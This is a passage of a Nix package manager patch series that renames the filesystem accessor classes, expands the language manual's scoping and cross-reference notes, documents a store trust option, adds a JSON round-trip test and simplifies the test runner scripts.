             /* `path2' is a directory (with no default.nix in it);
                recurse into it. */
             getAllExprs(state, path2, seen, attrs);
@@ -171,7 +171,7 @@ static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v
        set flat, not nested, to make it easier for a user to have a
        ~/.nix-defexpr directory that includes some system-wide
        directory). */
-    else if (st.type == InputAccessor::tDirectory) {
+    else if (st.type == SourceAccessor::tDirectory) {
         auto attrs = state.buildBindings(maxAttrs);
         attrs.insert(state.symbols.create("_combineChannels"), &state.vEmptyList);
         StringSet seen;
diff --git a/src/nix/main.cc b/src/nix/main.cc
index 7b0478a9f62..8ea2f774824 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -14,7 +14,7 @@
 #include "finally.hh"
 #include "loggers.hh"
 #include "markdown.hh"
-#include "memory-input-accessor.hh"
+#include "memory-source-accessor.hh"
 #include "terminal.hh"
 #include "users.hh"
 
diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc
index 5ddc031f73a..10c250d74ce 100644
--- a/tests/unit/libexpr/primops.cc
+++ b/tests/unit/libexpr/primops.cc
@@ -2,7 +2,6 @@
 #include <gtest/gtest.h>
 
 #include "eval-settings.hh"
-#include "memory-input-accessor.hh"
 
 #include "tests/libexpr.hh"
 

From 20558e0462bd10c79a655756de08655e3474d18b Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 3 May 2024 12:30:28 +0200
Subject: [PATCH 077/528] Remove FSInputAccessor

---
 src/libcmd/installables.cc                    |  3 +-
 src/libexpr/eval.cc                           |  5 ++-
 src/libexpr/primops.cc                        |  1 -
 src/libfetchers/fetch-to-store.cc             |  2 +-
 src/libfetchers/fs-input-accessor.cc          | 34 -------------------
 src/libfetchers/git-utils.cc                  |  3 +-
 src/libfetchers/path.cc                       |  3 +-
 src/libfetchers/store-path-accessor.cc        | 17 ++++++++++
 ...put-accessor.hh => store-path-accessor.hh} |  4 ---
 src/libfetchers/tarball.cc                    |  3 +-
 src/libfetchers/unix/git.cc                   |  1 -
 src/libfetchers/unix/mercurial.cc             |  9 ++---
 src/libutil/posix-source-accessor.cc          | 10 ++++++
 src/libutil/source-accessor.hh                | 10 ++++++
 tests/unit/libexpr/primops.cc                 |  1 +
 15 files changed, 48 insertions(+), 58 deletions(-)
 delete mode 100644 src/libfetchers/fs-input-accessor.cc
 create mode 100644 src/libfetchers/store-path-accessor.cc
 rename src/libfetchers/{fs-input-accessor.hh => store-path-accessor.hh} (67%)

diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index b93c7f7e852..0d42a62cc84 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -21,7 +21,6 @@
 #include "url.hh"
 #include "registry.hh"
 #include "build-result.hh"
-#include "fs-input-accessor.hh"
 
 #include <regex>
 #include <queue>
@@ -147,7 +146,7 @@ MixFlakeOptions::MixFlakeOptions()
         .category = category,
         .labels = {"flake-lock-path"},
         .handler = {[&](std::string lockFilePath) {
-            lockFlags.referenceLockFilePath = getUnfilteredRootPath(CanonPath(absPath(lockFilePath)));
+            lockFlags.referenceLockFilePath = {makeFSSourceAccessor(), CanonPath(absPath(lockFilePath))};
         }},
         .completer = completePath
     });
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index fbd846d1412..6fd60084d45 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -15,7 +15,6 @@
 #include "function-trace.hh"
 #include "profiles.hh"
 #include "print.hh"
-#include "fs-input-accessor.hh"
 #include "filtering-input-accessor.hh"
 #include "memory-source-accessor.hh"
 #include "signals.hh"
@@ -400,14 +399,14 @@ EvalState::EvalState(
     , emptyBindings(0)
     , rootFS(
         evalSettings.restrictEval || evalSettings.pureEval
-        ? ref<SourceAccessor>(AllowListInputAccessor::create(makeFSInputAccessor(), {},
+        ? ref<SourceAccessor>(AllowListInputAccessor::create(makeFSSourceAccessor(), {},
             [](const CanonPath & path) -> RestrictedPathError {
                 auto modeInformation = evalSettings.pureEval
                     ? "in pure evaluation mode (use '--impure' to override)"
                     : "in restricted mode";
                 throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation);
             }))
-        : makeFSInputAccessor())
+        : makeFSSourceAccessor())
     , corepkgsFS(make_ref<MemorySourceAccessor>())
     , internalFS(make_ref<MemorySourceAccessor>())
     , derivationInternal{corepkgsFS->addFile(
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index a3ccc9771bc..109127d1d56 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -15,7 +15,6 @@
 #include "value-to-json.hh"
 #include "value-to-xml.hh"
 #include "primops.hh"
-#include "fs-input-accessor.hh"
 #include "fetch-to-store.hh"
 
 #include <boost/container/small_vector.hpp>
diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc
index 398286065e6..c105fe1fcb0 100644
--- a/src/libfetchers/fetch-to-store.cc
+++ b/src/libfetchers/fetch-to-store.cc
@@ -14,7 +14,7 @@ StorePath fetchToStore(
     RepairFlag repair)
 {
     // FIXME: add an optimisation for the case where the accessor is
-    // an FSInputAccessor pointing to a store path.
+    // a `PosixSourceAccessor` pointing to a store path.
 
     std::optional<fetchers::Attrs> cacheKey;
 
diff --git a/src/libfetchers/fs-input-accessor.cc b/src/libfetchers/fs-input-accessor.cc
deleted file mode 100644
index bd4e4e2cd5d..00000000000
--- a/src/libfetchers/fs-input-accessor.cc
+++ /dev/null
@@ -1,34 +0,0 @@
-#include "fs-input-accessor.hh"
-#include "posix-source-accessor.hh"
-#include "store-api.hh"
-
-namespace nix {
-
-ref<SourceAccessor> makeFSInputAccessor()
-{
-    return make_ref<PosixSourceAccessor>();
-}
-
-ref<SourceAccessor> makeFSInputAccessor(std::filesystem::path root)
-{
-    return make_ref<PosixSourceAccessor>(std::move(root));
-}
-
-ref<SourceAccessor> makeStorePathAccessor(
-    ref<Store> store,
-    const StorePath & storePath)
-{
-    // FIXME: should use `store->getFSAccessor()`
-    auto root = std::filesystem::path { store->toRealPath(storePath) };
-    auto accessor = makeFSInputAccessor(root);
-    accessor->setPathDisplay(root.string());
-    return accessor;
-}
-
-SourcePath getUnfilteredRootPath(CanonPath path)
-{
-    static auto rootFS = makeFSInputAccessor();
-    return {rootFS, path};
-}
-
-}
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index 5657a6b4f70..a91587cb4ba 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -1,5 +1,4 @@
 #include "git-utils.hh"
-#include "fs-input-accessor.hh"
 #include "cache.hh"
 #include "finally.hh"
 #include "processes.hh"
@@ -948,7 +947,7 @@ ref<SourceAccessor> GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool export
         wd.files.empty()
         ? makeEmptySourceAccessor()
         : AllowListInputAccessor::create(
-            makeFSInputAccessor(path),
+            makeFSSourceAccessor(path),
             std::set<CanonPath> { wd.files },
             std::move(makeNotAllowedError)).cast<SourceAccessor>();
     if (exportIgnore)
diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc
index 1e9683ae11a..68958d55971 100644
--- a/src/libfetchers/path.cc
+++ b/src/libfetchers/path.cc
@@ -1,8 +1,7 @@
 #include "fetchers.hh"
 #include "store-api.hh"
 #include "archive.hh"
-#include "fs-input-accessor.hh"
-#include "posix-source-accessor.hh"
+#include "store-path-accessor.hh"
 
 namespace nix::fetchers {
 
diff --git a/src/libfetchers/store-path-accessor.cc b/src/libfetchers/store-path-accessor.cc
new file mode 100644
index 00000000000..6eeeba3e883
--- /dev/null
+++ b/src/libfetchers/store-path-accessor.cc
@@ -0,0 +1,17 @@
+#include "store-path-accessor.hh"
+#include "store-api.hh"
+
+namespace nix {
+
+ref<SourceAccessor> makeStorePathAccessor(
+    ref<Store> store,
+    const StorePath & storePath)
+{
+    // FIXME: should use `store->getFSAccessor()`
+    auto root = std::filesystem::path { store->toRealPath(storePath) };
+    auto accessor = makeFSSourceAccessor(root);
+    accessor->setPathDisplay(root.string());
+    return accessor;
+}
+
+}
diff --git a/src/libfetchers/fs-input-accessor.hh b/src/libfetchers/store-path-accessor.hh
similarity index 67%
rename from src/libfetchers/fs-input-accessor.hh
rename to src/libfetchers/store-path-accessor.hh
index 80dc74725fb..4aa55c4dfc9 100644
--- a/src/libfetchers/fs-input-accessor.hh
+++ b/src/libfetchers/store-path-accessor.hh
@@ -7,10 +7,6 @@ namespace nix {
 class StorePath;
 class Store;
 
-ref<SourceAccessor> makeFSInputAccessor();
-
-ref<SourceAccessor> makeFSInputAccessor(std::filesystem::path root);
-
 ref<SourceAccessor> makeStorePathAccessor(
     ref<Store> store,
     const StorePath & storePath);
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index 8ebc2c2964d..33c8f3c0c5e 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -8,8 +8,7 @@
 #include "tarfile.hh"
 #include "types.hh"
 #include "split.hh"
-#include "posix-source-accessor.hh"
-#include "fs-input-accessor.hh"
+#include "store-path-accessor.hh"
 #include "store-api.hh"
 #include "git-utils.hh"
 
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index be44b2eda54..c8fd295c090 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -9,7 +9,6 @@
 #include "pathlocks.hh"
 #include "processes.hh"
 #include "git.hh"
-#include "fs-input-accessor.hh"
 #include "mounted-input-accessor.hh"
 #include "git-utils.hh"
 #include "logging.hh"
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index e85f7e854ff..4d95f54f065 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -6,8 +6,7 @@
 #include "tarfile.hh"
 #include "store-api.hh"
 #include "url-parts.hh"
-#include "fs-input-accessor.hh"
-#include "posix-source-accessor.hh"
+#include "store-path-accessor.hh"
 #include "fetch-settings.hh"
 
 #include <sys/time.h>
@@ -211,10 +210,9 @@ struct MercurialInputScheme : InputScheme
                     return files.count(file);
                 };
 
-                PosixSourceAccessor accessor;
                 auto storePath = store->addToStore(
                     input.getName(),
-                    accessor, CanonPath { actualPath },
+                    *makeFSSourceAccessor(), CanonPath { actualPath },
                     FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {},
                     filter);
 
@@ -320,8 +318,7 @@ struct MercurialInputScheme : InputScheme
 
         deletePath(tmpDir + "/.hg_archival.txt");
 
-        PosixSourceAccessor accessor;
-        auto storePath = store->addToStore(name, accessor, CanonPath { tmpDir });
+        auto storePath = store->addToStore(name, *makeFSSourceAccessor(), CanonPath { tmpDir });
 
         Attrs infoAttrs({
             {"rev", input.getRev()->gitRev()},
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index a589bfd3d12..f7dffb87154 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -166,4 +166,14 @@ void PosixSourceAccessor::assertNoSymlinks(CanonPath path)
     }
 }
 
+ref<SourceAccessor> makeFSSourceAccessor()
+{
+    static auto rootFS = make_ref<PosixSourceAccessor>();
+    return rootFS;
+}
+
+ref<SourceAccessor> makeFSSourceAccessor(std::filesystem::path root)
+{
+    return make_ref<PosixSourceAccessor>(std::move(root));
+}
 }
diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh
index 5f1afb946f7..548feddfd1a 100644
--- a/src/libutil/source-accessor.hh
+++ b/src/libutil/source-accessor.hh
@@ -194,4 +194,14 @@ ref<SourceAccessor> makeEmptySourceAccessor();
  */
 MakeError(RestrictedPathError, Error);
 
+/**
+ * Return an accessor for the root filesystem.
+ */
+ref<SourceAccessor> makeFSSourceAccessor();
+
+/**
+ * Return an accessor for the filesystem rooted at `root`.
+ */
+ref<SourceAccessor> makeFSSourceAccessor(std::filesystem::path root);
+
 }
diff --git a/tests/unit/libexpr/primops.cc b/tests/unit/libexpr/primops.cc
index 10c250d74ce..5b589823798 100644
--- a/tests/unit/libexpr/primops.cc
+++ b/tests/unit/libexpr/primops.cc
@@ -2,6 +2,7 @@
 #include <gtest/gtest.h>
 
 #include "eval-settings.hh"
+#include "memory-source-accessor.hh"
 
 #include "tests/libexpr.hh"
 

From ffc280f27a57afea8480c0e2505408d730c9e61c Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 3 May 2024 15:41:03 +0200
Subject: [PATCH 078/528] Formatting

---
 src/libfetchers/store-path-accessor.cc | 6 ++----
 src/libfetchers/store-path-accessor.hh | 4 +---
 2 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/src/libfetchers/store-path-accessor.cc b/src/libfetchers/store-path-accessor.cc
index 6eeeba3e883..528bf2a4f51 100644
--- a/src/libfetchers/store-path-accessor.cc
+++ b/src/libfetchers/store-path-accessor.cc
@@ -3,12 +3,10 @@
 
 namespace nix {
 
-ref<SourceAccessor> makeStorePathAccessor(
-    ref<Store> store,
-    const StorePath & storePath)
+ref<SourceAccessor> makeStorePathAccessor(ref<Store> store, const StorePath & storePath)
 {
     // FIXME: should use `store->getFSAccessor()`
-    auto root = std::filesystem::path { store->toRealPath(storePath) };
+    auto root = std::filesystem::path{store->toRealPath(storePath)};
     auto accessor = makeFSSourceAccessor(root);
     accessor->setPathDisplay(root.string());
     return accessor;
diff --git a/src/libfetchers/store-path-accessor.hh b/src/libfetchers/store-path-accessor.hh
index 4aa55c4dfc9..989cf3fa29c 100644
--- a/src/libfetchers/store-path-accessor.hh
+++ b/src/libfetchers/store-path-accessor.hh
@@ -7,9 +7,7 @@ namespace nix {
 class StorePath;
 class Store;
 
-ref<SourceAccessor> makeStorePathAccessor(
-    ref<Store> store,
-    const StorePath & storePath);
+ref<SourceAccessor> makeStorePathAccessor(ref<Store> store, const StorePath & storePath);
 
 SourcePath getUnfilteredRootPath(CanonPath path);
 

From 460d8fbaea6c5600b88efe1be84623c7fa32b073 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Niklas=20Hamb=C3=BCchen?= <mail@nh2.me>
Date: Mon, 29 Apr 2024 03:57:28 +0200
Subject: [PATCH 079/528] language: Link examples to detail explanations.

Also, warn of the scoping caveats of `with`.
---
 doc/manual/src/language/constructs.md | 28 +++++++++
 doc/manual/src/language/index.md      | 84 ++++++++++++++++-----------
 2 files changed, 79 insertions(+), 33 deletions(-)

diff --git a/doc/manual/src/language/constructs.md b/doc/manual/src/language/constructs.md
index a82ec5960a8..ad1fdfe5f7f 100644
--- a/doc/manual/src/language/constructs.md
+++ b/doc/manual/src/language/constructs.md
@@ -402,7 +402,35 @@ establishes the same scope as
 let a = 1; in let a = 2; in let a = 3; in let a = 4; in ...
 ```
 
+Variables coming from outer `with` expressions *are* shadowed:
+
+```nix
+with { a = "outer"; };
+with { a = "inner"; };
+a
+```
+
+Does evaluate to `"inner"`.
+
 ## Comments
 
 Comments can be single-line, started with a `#` character, or
 inline/multi-line, enclosed within `/* ... */`.
+
+`#` comments last until the end of the line.
+
+`/*` comments run until the next occurrence of `*/`; this cannot be escaped.
+
+## Scoping rules
+
+Nix has constructs with
+
+* dynamic scope
+  * [`with`](#with-expressions)
+* static scope
+  * [`let`](#let-expressions)
+  * [`inherit`](#inheriting-attributes)
+  * function arguments
+
+Static scope takes precedence over dynamic scope.
+See [`with`](#with-expressions) for a detailed example.
diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md
index 650412f1b5d..3694480d718 100644
--- a/doc/manual/src/language/index.md
+++ b/doc/manual/src/language/index.md
@@ -53,7 +53,7 @@ This is an incomplete overview of language features, by example.
   <td>
 
 
-   *Basic values*
+   *Basic values ([primitives](@docroot@/language/values.md#primitives))*
 
 
   </td>
@@ -71,7 +71,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A string
+   A [string](@docroot@/language/values.md#type-string)
 
   </td>
  </tr>
@@ -94,6 +94,18 @@ This is an incomplete overview of language features, by example.
 
   </td>
  </tr>
+ <tr>
+  <td>
+
+   `# Explanation`
+
+  </td>
+  <td>
+
+   A [comment](@docroot@/language/constructs.md#comments).
+
+  </td>
+ </tr>
  <tr>
   <td>
 
@@ -106,7 +118,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   String interpolation (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/<hash>-bash-<version>/bin/sh"`)
+   [String interpolation](@docroot@/language/string-interpolation.md) (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/<hash>-bash-<version>/bin/sh"`)
 
   </td>
  </tr>
@@ -118,7 +130,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Booleans
+   [Booleans](@docroot@/language/values.md#type-boolean)
 
   </td>
  </tr>
@@ -130,7 +142,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Null value
+   [Null](@docroot@/language/values.md#type-null) value
 
   </td>
  </tr>
@@ -142,7 +154,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   An integer
+   An [integer](@docroot@/language/values.md#type-number)
 
   </td>
  </tr>
@@ -154,7 +166,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A floating point number
+   A [floating point number](@docroot@/language/values.md#type-number)
 
   </td>
  </tr>
@@ -166,7 +178,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   An absolute path
+   An absolute [path](@docroot@/language/values.md#type-path)
 
   </td>
  </tr>
@@ -178,7 +190,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A path relative to the file containing this Nix expression
+   A [path](@docroot@/language/values.md#type-path) relative to the file containing this Nix expression
 
   </td>
  </tr>
@@ -190,7 +202,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A home path. Evaluates to the `"<user's home directory>/.config"`.
+   A home [path](@docroot@/language/values.md#type-path). Evaluates to the `"<user's home directory>/.config"`.
 
   </td>
  </tr>
@@ -202,7 +214,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Search path for Nix files. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH).
+   A [lookup path](@docroot@/language/constructs/lookup-path.md) for Nix files. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH).
 
   </td>
  </tr>
@@ -226,7 +238,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A set with attributes named `x` and `y`
+   An [attribute set](@docroot@/language/values.md#attribute-set) with attributes named `x` and `y`
 
   </td>
  </tr>
@@ -250,7 +262,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A recursive set, equivalent to `{ x = "foo"; y = "foobar"; }`
+   A [recursive set](@docroot@/language/constructs.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`.
 
   </td>
  </tr>
@@ -266,7 +278,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Lists with three elements.
+   [Lists](@docroot@/language/values.md#list) with three elements.
 
   </td>
  </tr>
@@ -350,7 +362,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Attribute selection (evaluates to `1`)
+   [Attribute selection](@docroot@/language/values.md#attribute-set) (evaluates to `1`)
 
   </td>
  </tr>
@@ -362,7 +374,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Attribute selection with default (evaluates to `3`)
+   [Attribute selection](@docroot@/language/values.md#attribute-set) with default (evaluates to `3`)
 
   </td>
  </tr>
@@ -398,7 +410,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Conditional expression
+   [Conditional expression](@docroot@/language/constructs.md#conditionals).
 
   </td>
  </tr>
@@ -410,7 +422,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Assertion check (evaluates to `"yes!"`).
+   [Assertion](@docroot@/language/constructs.md#assertions) check (evaluates to `"yes!"`).
 
   </td>
  </tr>
@@ -422,7 +434,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Variable definition
+   Variable definition. See [`let`-expressions](@docroot@/language/constructs.md#let-expressions).
 
   </td>
  </tr>
@@ -434,7 +446,9 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Add all attributes from the given set to the scope (evaluates to `1`)
+   Add all attributes from the given set to the scope (evaluates to `1`).
+
+   See [`with`-expressions](@docroot@/language/constructs.md#with-expressions) for details and shadowing caveats.
 
   </td>
  </tr>
@@ -447,7 +461,8 @@ This is an incomplete overview of language features, by example.
   <td>
 
    Adds the variables to the current scope (attribute set or `let` binding).
-   Desugars to `pkgs = pkgs; src = src;`
+   Desugars to `pkgs = pkgs; src = src;`.
+   See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes).
 
   </td>
  </tr>
@@ -460,14 +475,15 @@ This is an incomplete overview of language features, by example.
   <td>
 
    Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding).
-   Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`
+   Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`.
+   See [Inheriting attributes](@docroot@/language/constructs.md#inheriting-attributes).
 
   </td>
  </tr>
  <tr>
   <td>
 
-   *Functions (lambdas)*
+   *[Functions](@docroot@/language/constructs.md#functions) (lambdas)*
 
   </td>
   <td>
@@ -484,7 +500,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function that expects an integer and returns it increased by 1
+   A [function](@docroot@/language/constructs.md#functions) that expects an integer and returns it increased by 1.
 
   </td>
  </tr>
@@ -496,7 +512,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Curried function, equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum.
+   Curried [function](@docroot@/language/constructs.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum.
 
   </td>
  </tr>
@@ -508,7 +524,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function call (evaluates to 101)
+   A [function](@docroot@/language/constructs.md#functions) call (evaluates to 101)
 
   </td>
  </tr>
@@ -520,7 +536,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function bound to a variable and subsequently called by name (evaluates to 103)
+   A [function](@docroot@/language/constructs.md#functions) bound to a variable and subsequently called by name (evaluates to 103)
 
   </td>
  </tr>
@@ -532,7 +548,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function that expects a set with required attributes `x` and `y` and concatenates them
+   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and concatenates them
 
   </td>
  </tr>
@@ -544,7 +560,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y`
+   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y`
 
   </td>
  </tr>
@@ -556,7 +572,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function that expects a set with required attributes `x` and `y` and ignores any other attributes
+   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes
 
   </td>
  </tr>
@@ -570,7 +586,7 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   A function that expects a set with required attributes `x` and `y`, and binds the whole set to `args`
+   A [function](@docroot@/language/constructs.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args`
 
   </td>
  </tr>
@@ -594,7 +610,8 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Load and return Nix expression in given file
+   Load and return Nix expression in given file.
+   See [import](@docroot@/language/builtins.md#builtins-import).
 
   </td>
  </tr>
@@ -606,7 +623,8 @@ This is an incomplete overview of language features, by example.
   </td>
   <td>
 
-   Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`)
+   Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`).
+   See [`map`](@docroot@/language/builtins.md#builtins-map).
 
   </td>
  </tr>

From 71c66de227c13f4ba6cf36d922c079ada259b742 Mon Sep 17 00:00:00 2001
From: Charlie Moog <moogcharlie@gmail.com>
Date: Sun, 5 May 2024 17:37:04 +0000
Subject: [PATCH 080/528] document store url `trusted=true` option behavior

---
 src/libstore/globals.hh | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/libstore/globals.hh b/src/libstore/globals.hh
index 933fc2e5a33..0c71a751553 100644
--- a/src/libstore/globals.hh
+++ b/src/libstore/globals.hh
@@ -782,6 +782,7 @@ public:
 
           - the store object has been signed using a key in the trusted keys list
           - the [`require-sigs`](#conf-require-sigs) option has been set to `false`
+          - the store URL is configured with `trusted=true`
           - the store object is [content-addressed](@docroot@/glossary.md#gloss-content-addressed-store-object)
         )",
         {"binary-cache-public-keys"}};

From feb1d10f60a2b9ae9cce48817b6a209a7ab007c8 Mon Sep 17 00:00:00 2001
From: HaeNoe <57222371+haenoe@users.noreply.github.com>
Date: Mon, 6 May 2024 15:50:26 +0200
Subject: [PATCH 081/528] _not_ round-trip tests for `fetchers::PublicKey`
 default `type` (#10637)

Another continuation of #10602
---
 tests/unit/libfetchers/data/public-key/noRoundTrip.json | 3 +++
 tests/unit/libfetchers/public-key.cc                    | 9 +++++++++
 2 files changed, 12 insertions(+)
 create mode 100644 tests/unit/libfetchers/data/public-key/noRoundTrip.json

diff --git a/tests/unit/libfetchers/data/public-key/noRoundTrip.json b/tests/unit/libfetchers/data/public-key/noRoundTrip.json
new file mode 100644
index 00000000000..4dcbf914842
--- /dev/null
+++ b/tests/unit/libfetchers/data/public-key/noRoundTrip.json
@@ -0,0 +1,3 @@
+{
+  "key": "ABCDE"
+}
diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc
index 941ae9db792..7b763bb051a 100644
--- a/tests/unit/libfetchers/public-key.cc
+++ b/tests/unit/libfetchers/public-key.cc
@@ -42,4 +42,13 @@ TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key
 TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" })
 
 #undef TEST_JSON
+
+TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) {
+    readTest("noRoundTrip.json", [&](const auto & encoded_) {
+        fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" };
+        fetchers::PublicKey got = nlohmann::json::parse(encoded_);
+        ASSERT_EQ(got, nlohmann::json(expected));
+    });
+}
+
 }

From 27a02bc7d10821f5788e4f2752d56e3f7aa19086 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 6 May 2024 15:17:27 +0200
Subject: [PATCH 082/528] tests: remove unneeded indirection
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

the additional function calls obscured the actual logic

Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com>
---
 mk/common-test.sh | 8 --------
 mk/debug-test.sh  | 4 ++--
 mk/run-test.sh    | 4 ++--
 3 files changed, 4 insertions(+), 12 deletions(-)

diff --git a/mk/common-test.sh b/mk/common-test.sh
index 2783d293bc4..2abea7887d1 100644
--- a/mk/common-test.sh
+++ b/mk/common-test.sh
@@ -17,11 +17,3 @@ TESTS_ENVIRONMENT=(
 run () {
    cd "$(dirname $1)" && env "${TESTS_ENVIRONMENT[@]}" $BASH -x -e -u -o pipefail $(basename $1)
 }
-
-init_test () {
-   run "$init" 2>/dev/null > /dev/null
-}
-
-run_test_proper () {
-   run "$test"
-}
diff --git a/mk/debug-test.sh b/mk/debug-test.sh
index 52482c01e47..1cd6f9dced8 100755
--- a/mk/debug-test.sh
+++ b/mk/debug-test.sh
@@ -9,6 +9,6 @@ dir="$(dirname "${BASH_SOURCE[0]}")"
 source "$dir/common-test.sh"
 
 if [ -n "$init" ]; then
-    (init_test)
+    (run "$init" 2>/dev/null > /dev/null)
 fi
-run_test_proper
+run "$test"
diff --git a/mk/run-test.sh b/mk/run-test.sh
index da9c5a473b4..177a452e807 100755
--- a/mk/run-test.sh
+++ b/mk/run-test.sh
@@ -23,9 +23,9 @@ fi
 
 run_test () {
     if [ -n "$init" ]; then
-        (init_test 2>/dev/null > /dev/null)
+        (run "$init" 2>/dev/null > /dev/null)
     fi
-    log="$(run_test_proper 2>&1)" && status=0 || status=$?
+    log="$(run "$test" 2>&1)" && status=0 || status=$?
 }
 
 run_test

From 709cd44d3e30f37ac288f143524e47b64cb85546 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 6 May 2024 17:29:03 +0200
Subject: [PATCH 083/528] Rename remaining instances of "InputAccessor" to
 "SourceAccessor"

---
 maintainers/flake-module.nix                  | 12 ++++----
 src/libexpr/eval.cc                           | 14 ++++-----
 src/libexpr/flake/call-flake.nix              |  2 +-
 ...cessor.cc => filtering-source-accessor.cc} | 28 ++++++++---------
 ...cessor.hh => filtering-source-accessor.hh} | 20 ++++++-------
 src/libfetchers/git-utils.cc                  | 30 +++++++++----------
 src/libfetchers/git-utils.hh                  |  2 +-
 src/libfetchers/mounted-input-accessor.hh     |  9 ------
 ...accessor.cc => mounted-source-accessor.cc} | 10 +++----
 src/libfetchers/mounted-source-accessor.hh    |  9 ++++++
 src/libfetchers/unix/git.cc                   |  6 ++--
 src/libutil/source-accessor.hh                |  2 +-
 12 files changed, 72 insertions(+), 72 deletions(-)
